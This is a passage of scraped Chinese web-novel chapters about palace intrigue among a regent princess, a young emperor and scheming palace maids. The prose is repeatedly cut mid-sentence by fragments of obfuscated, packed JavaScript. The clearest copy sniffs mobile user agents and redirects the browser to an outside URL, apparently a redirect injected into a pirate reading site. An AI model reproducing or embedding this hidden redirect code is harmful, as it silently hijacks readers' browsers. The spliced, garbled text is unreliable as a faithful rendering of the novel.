崔至捏起那枚私铸币,前前后后翻来覆去看多数十遍,倒吸一口凉气,脸上神色愈发凝重,欲言又止多次,方才低声问道:“这是哪儿来的?” 到底是崔至见多识广,一眼便认出此币出自栾南。 崔至家道中落,凭着岳丈王落儒的关系,才在朝中有个一官半职,后得孝懿太子赏识,调任东宫。 栾南诚王私自铸造铜币的事儿,孝懿太子早就知晓,一直在暗中收集证据,单等日后能一举将诚王擒获。 却不想…… 却不想孝懿太子狱中自戕,东宫一干人等,入狱的入狱,获罪的获罪。 随着孝懿太子薨逝,清算栾南诚王一事,也便……不了了之。 崔至侥幸,凭着岳丈才勉强留得一命。 如今再见到私铸币,不免心惊。 王焕将管家的说辞尽数说出,随后又说出心中的疑惑:“我总觉得,这枚币来得蹊跷。” 崔至倒吸一口凉气,将王焕拉至角落,声音再次压低,叮嘱道:“此事非同小可,除你我二人之外,切勿再让第三人知晓。” 说罢,又是不放心地叮嘱道:“也别告诉你祖父。” “他才急火攻心,别再让他忧心了。”崔至手指不免有些发抖。 诚王势大,他们这种小小臣子又能拿诚王怎么办呢?别说他们,就连当今陛下,尚未束发及冠的年纪,又能拿势大的诚王奈何? 更何况如今岳丈王落儒也…… 罢了,明哲保身,才是最要紧的。 可……崔至心中也免不了琢磨,诚王管得严,这些私铸币仅在栾南流通。 即便给诚王一百个胆子,也不敢放任这些私铸币流通到京城。 那这枚铜钱,又是如何流入京城?又是如何流入到太傅王家的呢? 会不会是…… “会不会和……”崔至眼皮动了动,揣测道:“那些人有关?” 这枚私铸币出现在王家,只怕是有人有意陷害。 纵观朝中,与王家有过节、不满王太傅的,除了当朝的大长公主以外,恐怕只有以右相程显为首的寒门派了。 若是大长公主得知私铸币一事,只怕要忙不迭处理栾南诚王,哪里会使得如此繁复的手段陷害王家呢? 若不是大长公主,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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祖父要她今后在大长公主身边侍奉时,要万分万分的小心谨慎,日后有机会站入朝堂时,更要百倍谨慎,一心为官,一心为民。 这些话,她从小便听祖父教导哥哥,早已烂熟于心。 思定后,当即便驱车前去寻温嘉诚。 先前与温嘉诚说好了,若她下定了决心要入朝为官,便派人传信给温嘉诚。 虽是这么说,可王润蕾还是觉得,还是面见温嘉诚更好。 王润蕾深吸一口气,满面春风。如今她有着祖父和哥哥的支持,定能像嘉诚那样闯出一番天地。 车行至温国公府前不远处,便见着温国公身披甲胄,整装待发,温嘉诚与温国公夫人齐齐站在门外与温国公告别。 温嘉诚一眼便看到了王润蕾的马车,自是知道王润蕾的抉择,会心一笑。 待送别温国公后,温嘉诚与母亲温国公夫人简单说过后,便迎王润蕾入府。 温嘉诚甚是亲热地拉起王润蕾的手,一边指使仆从驾车,一边与王润蕾闲聊:“润蕾,你祖父……可同意?” 王润蕾有些腼腆地点点头:“祖父……同意。” “那感情好啊,有太傅大人支持,你定能成为殿下的左膀右臂。”温嘉诚笑道。 王润蕾见套了车马,不由得好奇问道:“嘉诚,你这是还有事外出吗?我来得可是不巧?” 温嘉诚笑道:“哪里的话,我这就带你进宫去见殿下,殿下还在宫里等着你的信儿呢。” 107. 外攘内安(十二)手足情深 听温嘉诚说大长公主殿下还特地在宫里等着自己,王润蕾多少有些受宠若惊。 “快走吧。”温嘉诚笑靥如花,伸手招呼王润蕾上车。 王润蕾踏上脚凳,拉住温嘉诚的手,顺势坐上车。 马车一路疾行,王润蕾的思绪早就飘到了刘安的福康宫。 才至宫门处,温嘉诚与王润蕾便遇到了刚出宫的逍遥王刘昶。 刘昶见是温嘉诚,甚是恭敬笑道:“温相好。方才大姐姐还念叨温相呢。” 温嘉诚回过礼,同样笑道:“问定北王殿下安。” 王润蕾半个身子躲在温嘉诚身后,刘昶身上的肃杀冷冽之气,使得她不敢直视。 刘昶看向温嘉诚身后的王润蕾,眉头一挑,问道:“这位是?” 刘昶鲜少在京中待着,对京中的世家女子多不熟悉,故而才这般问道。 “这位是王太傅之孙,户部侍郎王焕之妹。”温嘉诚介绍道,而后又补充道:“也是殿下新招的女官,王润蕾。” “王姐姐好。”一听到是刘安身边的内官,刘昶脸上浮现些暖意,甚是乖巧道:“大姐姐身边,还有劳王姐姐与温相尽心侍奉。” 王润蕾忙还礼道:“殿下客气,自当尽心竭力侍奉大长公主殿下。” 温嘉诚道:“殿下,臣先带着王内官去见大长公主殿下了,失陪。” 三人寒暄两三句,便各自有事离去。 温嘉诚要带着王润蕾去见刘安,刘昶则是要率领大军,北上征战。 北上征战的消息一传开,京中百姓之间一片叫好。 十几年前的那一场战败,犹如隔日。 边境失守,胡骑南下,京师失守,割地赔款,甚至天生自带祥瑞的四皇子,都被掳去敌国做质子。 十几年前的那一场战败,不可不谓之屈辱。 如今可是大不一样。 定北王亲自挂帅,此战,必胜。 “这定北王是谁啊?”街头巷尾的说书先生吊起了台下看官们的胃口,摇头晃脑,自问自答道:“他可是先帝的第七子,当今陛下的七哥啊,想当初啊,束发的年纪便上了战场,所到之处,那是战无不胜,无一败仗。” 说书先生这段慷慨激昂的话语,吸引了一圈又一圈的百姓围听,同样也吸引了坐在醉云轩里喝闷酒的刘宁。 刘宁掂起酒壶,推开临街的窗户,双眼无神地望向被百姓们里三层外三层围起来的说书先生。 自打张贵妃、秦王刘茂、秦王妃还朝永久地留在那场叛军围剿中时,刘宁的三魂七魄,也跟着留下了。 如今的刘宁,只是具为父母、为兄嫂守孝的躯壳。 她原以为……她原以为哥哥回来之后,她们一家人便能团聚,永远也不会再分开……却不想…… 却不想…… 却不想如今竟成了阴阳两隔。 刘宁吸了吸鼻子,再次斟满,一饮而尽。 沈韵见着刘宁酗酒愈发厉害,心中不忍,可她也知道,刘宁心中苦闷,若不醉在美酒编织的梦里,只怕会不知该怎么活。 无奈,只能重重地叹了口气。 “若说最厉害的一场,便是数年前永州边境那一场。” “想当初,胡骑压境,离永州不过百里。” 随着说书先生提及决定着兄长刘茂回京的那一战,刘宁的思绪,也随着说书先生的声音,飘回了几年前的那一天。 那一天,刘宁还是个无忧无虑的皇女。 那一天,刘宁见到了与自己阔别十二年之久的亲哥哥刘茂。 那一天,她也见到了在沙场磨砺两年的七弟刘昶,北疆的风沙,将七弟磨砺得换了副模样。 “当日,漫天黄沙席地起,咱们这位定北王,犹如神兵天降,一路那是破飞尘、碾黄沙,率几百轻骑深入敌后,单枪匹马杀入敌营,吓破胡蛮万千胆。” “正是因为咱们这位定北王,胡人才不敢再进犯我朝边境,胡人才巴巴地求着我们,求着要与我们大江和谈。” 听着说书先生将刘昶快夸成了神,知晓许多内幕的刘宁,忍不住嗤笑一声。 当初,若不是他们与哥哥里应外合,何以造就今日的定北王? 想至此处,刘宁不免担心起刘昶。 当日,有着哥哥刘茂将胡人大营的位置报给七弟刘昶,并假意反抗,七弟方才杀入敌营,创下赫赫战功,可如今…… 可如今,仅凭七弟,即便是再加上温国公,又怎能与日益强盛的胡人硬碰硬呢? 如今北征这一战,岂不又要步了先前父皇在位时那一战的后尘? 抑或是……定北王如今战功赫赫,功高震主,陛下这才……这才让他去送死? 想到这儿,刘宁不寒而栗,手也跟着哆嗦一下。 沈韵看出刘宁的异样,放下怀里的琵琶,端起一盘瓜果走到刘宁面前,柔声细语道:“殿下,别一味地饮酒,吃些果子吧。” 刘宁强忍着寒颤,饮尽杯中酒,连连摇头否定方才的胡思乱想。 不会的不会的,八弟年纪小性子柔,哪里能想得到这些? “要说北征这一仗,抚政大长公主决定的好,确实该痛痛快快地打上一场了,扬我大江之国威!” 说书先生这一句话,倒是无意点醒了刘宁。 是啊,八弟年纪小,尚不能执政,可宫里掌权的另有其人,能决定这一仗是否开战的,除了大姐姐刘安,还会有谁! 刘宁苦笑一声,喃喃道:“是啊,除了她,还会有谁!” 当年太子因巫蛊入狱,怎的大姐姐见过太子之后,太子便饮鸩酒自戕? 当年逆贼蔡桐宫变谋逆,大姐姐代替父皇主祭,之后又是代政监国,好不威风啊! 今又扶持幼弟登基,把持朝政,扶持党羽,权摄前朝后宫,争权夺势的事儿没少做! 如今,竟还不满足,竟全然不顾姊妹情意,竟要处理七弟! 大姐姐啊大姐姐,先前是最不喜这些个权势争斗的,怎的如今变成了这样? 刘宁手中的酒杯攥得愈发紧。 沈韵对刘宁说的摸不着头脑,怯怯地问道:“殿下……说的是……谁?” 有什么话别憋在心里,还是说出来比较好。 沈韵心疼地望向刘宁,眼神之中,似有千言万语在安慰刘宁。 饶是刘宁再怎么与沈韵熟稔,这种皇室秘辛,她也不绝不会透露半个字。 刘宁并未理会沈韵,长叹一声,叮嘱道:“阿韵,我近来……近来要离京一趟,你……你与那尔丹互相照应。” 为父母兄嫂侍孝期已过,如今, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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见着刘宁不再如往日般颓废,舍得出来走走,刘昶便长舒一口气,想来过去有些日子了,她心里总归没先前那么苦闷忧愁了吧。 待到他凯旋而归,定会如她所愿,带着她去陌南,去四哥四嫂曾待过的地方。 虽说刘宁未必看得清,但刘昶还是朝着刘宁的方向微微一笑,旋即并没有过多耽搁,快马加鞭,带着大军继续北上前进。 刘宁见军中有人骑马逆行驻足,直直看向她这里,不过很快又折返回军中,便猜到了那人兴许就是她的七弟刘昶,脸上难得露出些喜色。 军队行进需考虑装备、粮草等因素,若她此时快马加鞭前往永州,只怕要比北征的大军抵达永州还要快些。 想罢,刘宁拉紧缰绳,翻身上马,抄小道前去永州。 别的不论,单她这箭术,兴许能在战场上配上些用途。 兴许,能帮得上七弟。 军队行进的消息时时刻刻便有人传递回京中,传递回宫里,传递到康佑帝刘绥面前。 “陛下,定北王、温国公如今就快行进到宿城了。” 听着杨仕鑫的汇报,刘绥冷冷“嗯”了一声。 杨仕鑫飞快瞄了眼刘绥神色,并未见着有波澜,又将今日宫里的事儿汇报被刘绥。 “陛下,今儿,温相带着王太傅的孙女入了福康宫,听说大长公主特招王太傅的孙女为宫里的女官,随侍在大长公主左右。” 刘绥一顿,冷哼一声,右手里攥着的笔杆发出了清脆的声音。 108. 外攘内安(十三)杀鸡儆猴 “女官?”又是一声冷哼。 王落儒这个老东西,阳奉阴违,明面上看着与大姐姐不对付,当着他的面不知道多少次抨击大姐姐施行的女科,暗地里却将自己的孙女送到大姐姐身边做女官,恐怕心里还指望着自己孙女能同温嘉诚一样,在朝堂上搅动风云吧。 好好好,孙子在朝中做官,孙女在大姐姐身边侍奉,两头倚仗是吧? 笔杆一声脆响。 刘绥一甩手,笔杆早已成了两截,笔头上沾染的墨在字帖上留下了重重的一笔。 “真是越来越不用心了,这么差劲儿的笔也配摆在朕面前?” “奴这就为陛下再换上一只好的。”杨仕鑫察觉到刘绥的怒气,忙收拾起桌上的残局。 刘绥背靠着椅背,单手抚着额头,随口问道:“朕看你们是越来越懒散了,竟连口茶也不奉上。” 刘绥扫了眼杨仕鑫,嘴角勾起,可面上却无半分笑意:“你这御前总管,莫不是也要坐到朕的头上?” 杨仕鑫哪里担得起这样的话,吓得慌忙跪下:“陛下这么说……奴惶恐……奴……惶恐,陛下看重奴,奴自当尽心竭力侍奉陛下,不敢有丝毫懈怠——” 刘绥抬手止住杨仕鑫的表忠心,清了清嗓子:“还不快奉茶。” 这话,刘绥的耳朵都听得要起茧子了。 可他就是爱听。 满宫里,或许只有杨仕鑫还将他当做皇帝吧,或许只有福宁殿的宫人们才会屈服于他这皇帝的威压之下吧。 “是。”杨仕鑫腰背弯得极低,缓步退出内殿。 待出了内殿,在一众福宁殿的宫人面前,杨仕鑫腰背挺得笔直。 环视一圈,并未找到御前奉茶女官珍儿的身影,杨仕鑫脸上神色不免黑了几分,径直朝着宫女休息的耳房走去。 “四张!你们输了!哈哈哈哈!” “姐姐真是好手气!” “那还用说。”珍儿将桌上的碎银搂到怀里,自是得意,丝毫未察觉身后脸黑得不像样子的杨仕鑫。 “你踢我干什么!”珍儿弯腰拍了拍被珠儿鞋子碰到的裤腿,甚是不满,随手拍了两三下,待回到牌桌上,与其余几人开玩笑道:“可别让大家以为你我两个暗中窜连使诈,哈哈哈哈!” 坐在珍儿对面的珠儿眼睛尖,自打杨仕鑫走近后便一直轻轻用脚尖提醒珍儿,只是没想到珍儿正在兴头上,全然没有任何察觉。 “杨……杨内官……”周边围着的小宫女怯生生喊了声。 围着的一众宫人纷纷站起身,唯独背对着杨仕鑫的珍儿。 杨仕鑫冷冷扫了眼围在这圈牌桌上的宫人:“糊涂东西,怎么忘了为陛下奉茶?” 珍儿怎么也没想到,这会儿杨仕鑫怎么会过来? 往常这个时候,陛下都是在御书房受太傅教导,御书房自有奉茶女官,轮不着她侍奉。 今儿是怎么了? 珍儿有些心虚,不知该怎么解释。 再者,她平时倚仗着杨仕鑫,在一众宫人之间作威作福,若此时杨仕鑫训斥她,岂不是让她在一众小宫人面前没了脸? 思来想去,珍儿依旧坐在牌桌前,巍然不动。 杨仕鑫一个眼神,遣散屋子里的宫人们,屋里仅剩下他与珍儿。 听着房门被带上,珍儿柔弱转身,可怜巴巴倚在杨仕鑫肩膀上,娇嗔道:“仕鑫哥哥,你刚才好凶啊,珍儿好怕!”一边说着,一手轻轻在杨仕鑫胸口描着衣服上的花纹。 杨仕鑫不为所动,两指死死钳住珍儿的喉咙:“你怎么这么蠢?” “我扶你做陛下面前的奉茶女官,你便尾巴翘上了天,忘了自己是谁吗?” “疼……疼……”珍儿被扼得说不出话来,本就可怜的双眼,更是眼泪汪汪。 “快去为陛下奉茶。” 珍儿脾气此时也上来了,气鼓鼓地坐在凳子上,脸一扭,独自生气。 往常她一生气,杨仕鑫便会低声下气地来求她哄她。 毕竟,她可是陛下身边的奉茶女官,福宁殿的大宫女! 珍儿平日都是被杨仕鑫宠着的,狐假虎威多日,早就忘了自己能有如今的舒坦日子,全靠的是杨仕鑫。 杨仕鑫冷笑几声,他一手扶上来的蠢货竟妄想着拿捏他! 好好好! 福宁殿想做奉茶女官的宫人多的是! 杨仕鑫一甩袖子,转过身去,临行前,特地又回头看了珍儿一眼,见珍儿仍气呼呼得坐着,便也下了狠心。 杨仕鑫才出门,便看到廊下洒扫的蔡岑。 蔡岑身上,有着一股宫人们没有的气质。 杨仕鑫驻足多看了数眼后,抬手便招呼蔡岑过来。 蔡岑虽说恨死了杨仕鑫,但杨仕鑫是刘绥身边的近侍,独一份的宠信。 人在屋檐下不得不低头,蔡岑放下扫帚,拍了拍衣裙上的灰尘,迈着小碎步匆匆来到杨仕鑫面前。 蔡岑恭敬道:“杨内官,你唤我?” 杨仕鑫绕着蔡岑转了一圈,上下仔仔细细多打量一番,当即决定:“从今儿起,由你来为陛下奉茶。” 蔡岑一时愣住,不知所措站在原地。 她原以为,自己与陛下的宠信杨仕鑫不对付,要做到大宫女的位份还要再多花些时日、多费些功夫,不想竟只是一句话的事儿。 “愣着干什么?还不快换了衣衫,为陛下奉茶去!”杨仕鑫催促道。 蔡岑回过神,拜谢杨仕鑫:“多谢杨内官看重,定当肝脑涂题报答杨内官。” 她能从掖庭一步步爬到福宁殿,如今又从福宁殿的低阶洒扫宫女一步登天到陛下身边做奉茶女官,来日,一定会爬得更高,走得更远。 蔡岑皮笑肉不笑,说着违心的话,哄着杨仕鑫。 杨仕鑫连连点头,甚是满意蔡岑的转变,知趣儿,懂得变通,也机灵,胜过珍儿百倍。 不愧是他一眼便看中的人。 “只是我这……”蔡岑面露难色,将她那双沾染了沧桑的手摊开在杨仕鑫面前,“我这双手……只怕……” 这几年的操劳,再加上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“待会为陛下奉茶时,手要稳,头要低,若陛下心情不好多说了什么难听的话,千万别犟嘴,受着便是。”杨仕鑫细心叮嘱道。 蔡岑道:“奴知道,陛下无论说什么做什么,都是对的。” 见着蔡岑如此上道,杨仕鑫甚是满意,和聪明人说话就是省心省力,忙又继续道:“若是陛下问及为何这么晚才奉上茶来,便说是……便说是……” 蔡岑补充道:“陛下前几日说要体察民风民情,近来陌南、汀州两地便新进贡些茶叶,虽说不如春茶滋味鲜爽甘醇,可也别有一番风味呢。故而特地熬煮一壶茶水,以供陛下享用。” “不错不错。”杨仕鑫连连点头,道:“既这么着,你便快进去吧,可别让陛下等急了。” “是。”蔡岑接过放有茶盏的托盘,随着一众宫人,迈入福宁殿内殿。 “奴,蔡岑为陛下奉茶。”蔡岑如杨仕鑫所教,恭敬奉上茶水。 听到这个名字,听到那个姓氏,刘绥笔尖一抖,手里一滞,斜眼扫了蔡岑一眼。 109. 外攘内安(十四)甘为利剑 多嘴! 侍立在一旁的杨仕鑫狠狠瞪了蔡岑一眼。奉茶便奉茶,在陛下面前多什么话! 蔡岑恭敬,但也害怕,先前跪了一夜的膝盖还在隐隐作痛。 蔡岑一再告诉自己,要谨慎谨慎再谨慎,往后是做低阶宫女,还是要做福宁殿的大宫女,全在今朝了。 她知道,当今陛下也听清了她的名字,可她不知道如今这步险招,能否行得通。 蔡岑学着先前珍儿的样子,镇定自若端起茶盏。 可,到底还是出了差错。 蔡岑手指没由来地一抖,茶盏倾斜,茶水溢出,洒在刘绥衣袖上。 刘绥一顿,不由分说,反手便是一巴掌甩在蔡岑脸上。 “啪!” 力道不算大,但足够清脆。 蔡岑慌了,出师未捷,倒先犯了错,吓得“扑通”一声跪在地上。 刘绥极其轻微地冷哼一声,继续临摹着字帖。 杨仕鑫在刘绥身边侍奉多时,当然知道刘绥已然恼怒,揪起蔡岑的衣领,“啪啪”两声,狠狠甩下两个重重的巴掌。杨仕鑫气得直咬牙,方才还以为这岑儿是个聪明人,不成想……也是个蠢的。 杨仕鑫低声骂着:“糊涂东西!做事怎么这么不仔细?还不快滚出去领罚!” “杨仕鑫!”刘绥低喝一声,叫停杨仕鑫。 语气平淡,听不出什么情绪。 杨仕鑫松开蔡岑的衣领,弯着腰迈着小碎步到刘绥身旁。 刘绥停下笔,侧头看向杨仕鑫。 仅仅是看着杨仕鑫,一言未发,眼里,看不出什么情绪。 杨仕鑫被盯得额角直冒冷汗。 “方才,她说什么?”刘绥终于开口。 杨仕鑫语塞,回想起方才蔡岑说过的话。 蔡岑接上话:“奴,蔡岑为陛下奉茶。” 刘绥挑眉:“蔡岑?哪个蔡?” 蔡岑答道:“颖州蔡氏。” “颖州,蔡氏?”刘绥撑着下巴,眼睛眯起,嘴里喃喃念道。 “是。奴,确是出身颖州蔡氏。”蔡岑不卑不亢道。 颖州蔡氏? 杨仕鑫瞳孔睁得浑圆,不可置信地看向跪在地上的蔡岑。 蔡岑……蔡岑?蔡岑! 她姓蔡! 杨仕鑫心里咯噔一下,是啊,她姓蔡,当年颖州蔡氏一族,男丁被流放,女眷被没入掖庭为罪奴。 这蔡岑当初便是掖庭过来的。 他怎么没想到呢?他怎么就没想到蔡岑是颖州蔡氏的女子呢? 难怪当日温相会开口替这蔡岑求情! 杨仕鑫此时恨不得狠狠扇自己几个大嘴巴子。 刘绥轻笑一声,歪头看向跪在地上不敢抬起头的蔡岑,来了兴致。 当初的颖州蔡氏,真可谓是不可一世,只手遮天,就连是当初的父皇,对他们颖州蔡氏,那也是忌惮三分。 却不想随着孝懿太子的离世,一夕之间,竟生起了谋逆篡位的心思,颖州蔡氏,也在一夕之间覆灭。 说起来,刘绥与那颖州蔡氏倒真是有缘。 当年刘绥出生之时,恰逢兵败之际,贵妃所生的刘茂入胡做质子,孝懿太子也离开皇后入主东宫。 皇后与贵妃早年生育伤了身子,因而刘绥一出生,便成了皇后与贵妃眼中的香饽饽,各个都争着抢着要他。 虽说最后是哪个都没如意,刘绥最后还是由生母,当今的李太后抚养,可皇后与贵妃两个可没少给刘绥母子二人使绊子尤其是那皇后蔡昭。 发霉破旧的屋子,冬日克扣的炭火,夏时短缺的冰块,一笔一笔,刘绥记得清楚。 还有那蔡桐挟持他时那狰狞的模样,至今记忆犹深。 如今,蔡桐的妹妹蔡岑,竟成了跪在他脚下的奴婢,真真是…… 刘绥不禁连连摇头,真真是世事无常。 想当初,蔡岑可是娇蛮任性得很,宫里的宫人们一听说蔡岑进宫,都怕得很,恨不得躲得远远的。 刘绥饶有兴致道:“抬起头来。” 蔡岑缓缓抬起头,眼睛,也缓缓抬起,对上刘绥的眼睛。 确实是她! 刘绥记得蔡岑,那双狭长的丹凤眼,与她哥哥蔡桐别无二般。 “啪!” 又是一巴掌,落在蔡岑脸上。 力道同样不算大,与杨仕鑫的巴掌比起来,轻多了。 蔡岑霎时间有些不知所措,但很快便再次低下头,弯下腰,伏在刘绥脚边。 “杨仕鑫!” 杨仕鑫听闻刘绥叫自己,忙滑步上前:“陛下——” 刘绥冷哼一声:“你这大总管,是做腻了吧?这等罪奴,也配在福宁殿当差?也配朕身边侍奉?” 刘绥手中的毛笔挥得愈发快,宣纸上的字迹愈发潦草,笔锋也愈发锋利。 “啪”地一声,刘绥将毛笔甩在桌上,冷眼看着面前两人。 杨仕鑫此时也真是语塞,他也知道,他这大总管的路,是走到头了。 饶是他这些年再怎么谄媚奉上,饶是他这些年再怎么扮作跳梁小丑供陛下取乐,如今,都不中用了。 当年陛下还是八皇子时,因蔡桐杀入皇宫,陛下惊惧高热,后又被蔡桐挟持,险些就要葬送在蔡桐手中。 如今这蔡桐的妹妹蔡岑,竟阴差阳错间到陛下身边侍奉,陛下……依着陛下这捉摸不透的性子,陛下怎么会放过他呢? 他仿佛看到,他那死在那场宫变之中的师傅,在向他招手。 杨仕鑫两股战战,不敢说话,也不知该如何辩解。 蔡岑,也在盘算着自己要何时开口才好。 必然是不能在刘绥气头上辩解,否则与火上浇油无异。 刘绥淡定自若,接过蔡岑手里的茶盏,撇去茶沫,小抿一口,不算烫。 余下的,尽数倒在蔡岑头上。 手里的茶盏,也丢在蔡岑身边。 瓷片崩裂飞溅。 滴滴答答的茶水,顺着发丝,东流西淌。蔡岑的头,埋得更低了。 “拖下去。”刘绥随手一挥。 蔡岑一声高呼:“陛下!奴,还有话要说!” 拖下去,免不了又是一顿打,能不能活,还两说呢。 蔡岑本就养尊处优,先前在掖庭那几年,便被折磨得身形憔悴,后使了银子来到福宁殿,又受到杨仕鑫、珍儿等人的盘剥,若是再挨上这么一顿打,只怕……只怕…… 想当初,哥哥受了杖责五十,便险些要了半条命,当年哥哥可还有御医医治,上好的药材治愈。 若她今日丢了这半条命,还不知余下的那半条命要丢在哪里呢! 她不想死,她想活! 她想活! “愣着干什么?”刘绥并不理会蔡岑,冷冷喝道:“怎么?福宁殿改名换姓了?朕竟指使不动你们了?” 蔡岑仍不死心:“陛下!奴愿成为陛下手中的利剑,奴愿为陛下扫清阻碍!” 刘绥眉头一挑,但仍未予以理会:“杨仕鑫!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274306|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 杨仕鑫颤巍巍起身,当即命人将蔡岑拖了下去,由他亲自监刑,同时,还不忘命人给自己行刑。 几棍下去,再加上本身惊惧,杨仕鑫便没了意识。 一旁的蔡岑,反而坚持得要久些,十几棍下去,才没了意识。 等到蔡岑醒来时,已然过了好几日的光景。 蔡岑睁开眼,先映入眼帘的,是雕刻精致的玉枕,是身上盖着的绸缎锦被,是映在帐上的那抹身影。 “你醒了?” 蔡岑趴在床上,有力无气地去撩起床帘,然周身的疼痛,牵一发而动全身,蔡岑已然没了抬起手的勇气。 “你先前说,愿成为朕手中的利剑,愿为朕扫清阻碍,为何会这么说?” 蔡岑呵笑一声,甚是虚弱道:“陛下如今,空有帝位,而无实权,陛下烦忧,奴,愿为陛下解忧。” 在宫中多日,蔡岑看得明白,如今朝政全由抚政大长公主刘安把持,除此之外,王落儒、程显,又有哪个是听话任凭摆布的? 王落儒,迂腐至极,仗着是三朝元老,仗着太傅的身份,对康佑帝刘绥多有钳制,处处摆着师者的架子。 程显,更是仗着在朝中诸多党羽,弄权舞弊,毫不收敛,如今官至右相,比之前更甚。 刘绥冷哼一声:“你?就凭你?” “一个掖庭出身的罪奴,也敢说为朕解忧?” 蔡岑忍着身上的痛楚,仅是笑笑:“奴既能从那掖庭爬出来,能从那掖庭爬到福宁殿,能从那掖庭爬到陛下的脚边,奴,自然是有本事的。” “陛下若是不信,又怎会留奴至今日?” 推着床上挂着的层层纱幔,蔡岑直直盯着站在床前的帝王。 刘绥许久未出声。 许久,方才道:“说说你看。” 蔡岑知道,自己赌对了。 靠着刘绥与刘安姐弟之间的嫌隙,她为自己谋到了一线生机,她为自己谋到了一条扶摇直上的生路。 “借刀杀人。”蔡岑道:“借福康宫这把刀,除掉陛下的心头患。” “最后,鸟尽弓藏。” 蔡岑并未明说,但其中的意思,刘绥已明白。 刘绥挑眉,不愧是世家大族养出的女儿,不愧是后族养出的女儿。 刘绥面上带笑,掀起床边纱幔的一角,看向蔡岑。 蔡岑回头,对视上刘绥那看不见丝毫情绪的眼睛。 “说得不错,只是……正如你所说,如今朕手上,并无实权,单凭朕一人,实在是难。” “即便是加上你这个罪奴,也是难。” 蔡岑嘴角扬起:“陛下能在先帝的诸多皇子中脱颖而出,奴,相信陛下。” 蔡岑说完,便忍着痛爬起身,屈膝跪坐在床上,向帷幔前的刘绥俯首。 若换做承道皇帝还在世时,若当时告诉她日后登上帝位的是那个最不起眼的八皇子,她是无论如何都不会相信的。 哪怕表哥孝懿太子薨逝,可到底还有四皇子秦王,再不济还有六皇子刘赞,七皇子刘昶,个个都胜过面前这位,先帝的八皇子,如今的康佑帝。 怎么最后皇位会落到他刘绥头上呢? 姑姑与贵妃争斗多年,晋国公与齐国公争斗多年,颖州蔡氏与汀州张氏水火不容争斗多年,不成想—— 最后竟是他人得利。 最后竟是这不声不响的八皇子得利。 刘绥听后,大笑几声,转身离去。 “那便拿出你的本事来让朕看看。” 110. 外攘内安(十五)初现端倪 刘绥自那日来过之后,往后便再也未来见过蔡岑,只是遣了御医来为蔡岑诊治。 不出月余,蔡岑身上的伤便好了大半。 蔡岑也回到了宫女们休息的耳房,刚一回去,珍儿便咄咄逼人地横在蔡岑面前: “这几日,你去了哪儿?” “怎么?杨内官没告诉你吗?从今往后,我才是陛下身边的奉茶女官。”蔡岑眼睛紧紧盯着珍儿的眼睛,缓步上前。 珍儿被蔡岑的架势吓得不由得后退半步:“那又怎样?陛下身边不过是多了一个女官而已,不过与我平起平坐而已,也没什么大不了的。” 珍儿转身拔下头上的簪子,剔了下牙,完后又啐了一口:“你还真以为自己要飞上枝头变凤凰啊?” 一个出身颖州蔡氏的罪奴而已,有什么好得意的? 珍儿早就看出了蔡岑的与众不同,以为她只是个没落官家里的小姐才这么自视甚高,没想到这蔡岑竟是颖州蔡氏的女儿。 可即便她出身颖州蔡氏那又如何,不还是同她们一样在宫里为奴为婢吗?不还是被她踩在脚下吗? “等明日我在陛下面前禀明你的身份,且看陛下如何处置你。”珍儿暗自得意,自以为拿捏住蔡岑的把柄,威胁道。 虽说这几日杨仕鑫又与她和好,还让她离蔡岑远些,可到底,她不怕这蔡岑,她手里捏着蔡岑的把柄呢! 蔡岑低头笑笑,凑到珍儿耳旁:“若是让陛下知道,我得以调到福宁殿服侍陛下是因为珍儿姐姐收受了我的贿赂,陛下会怎么想?杨内官又会如何想?” “若是让陛下得知宫人们私底下收受贿赂、私相授受,陛下又会如何处置呢?”蔡岑狐假虎威道。 刘绥知道了她的身份,虽未曾多说什么,然则也并未处置她,其中意思,她自是知道。 如今小小倚仗下刘绥的威严,想必他也不会介意的。 “你!”珍儿气得直指蔡岑的鼻尖,牙齿咬得嘎吱作响。 自打蔡岑那日为陛下奉茶之后,便惹得陛下恼怒,挨了一顿打,杨仕鑫也跟着挨了打,之后蔡岑便没了消息。 当时的珍儿还暗自得意,蔡岑,兴许早就不知被丢到哪个偏僻的宫殿自生自灭去了,而她,依旧还是陛下身边独一无二的奉茶女官。 没想到,没想到蔡岑竟然趾高气昂地回来了,没想到蔡岑竟然竟还捏住了她的把柄! “哼!”珍儿自知说不过蔡岑,冷哼一声,甩袖离开。 蔡岑则是毫不在意。 一只跳脚的蝼蚁,有什么可值得费心思的呢? 如今她想的是,该如何帮着刘绥扳倒权摄天下的大长公主刘安。 蔡岑比珍儿更随和,比珍儿更爱护体恤底层的宫人们,原先那些受过珍儿、杨仕鑫等人盘剥过的宫人们纷纷向蔡岑示好。 仅一个月的功夫,蔡岑便逐渐在福宁殿扎稳了脚跟,成了福宁殿数一数二的大宫女,也成了继杨仕鑫外,康佑帝刘绥身边的第二个红人,隐隐还颇有比肩杨仕鑫之势头。 福宁殿的大宫女还远远不够,她还要继续爬,继续往上爬! 这一个多月的时间,王润蕾也逐渐在大长公主刘安身边扎稳脚跟。 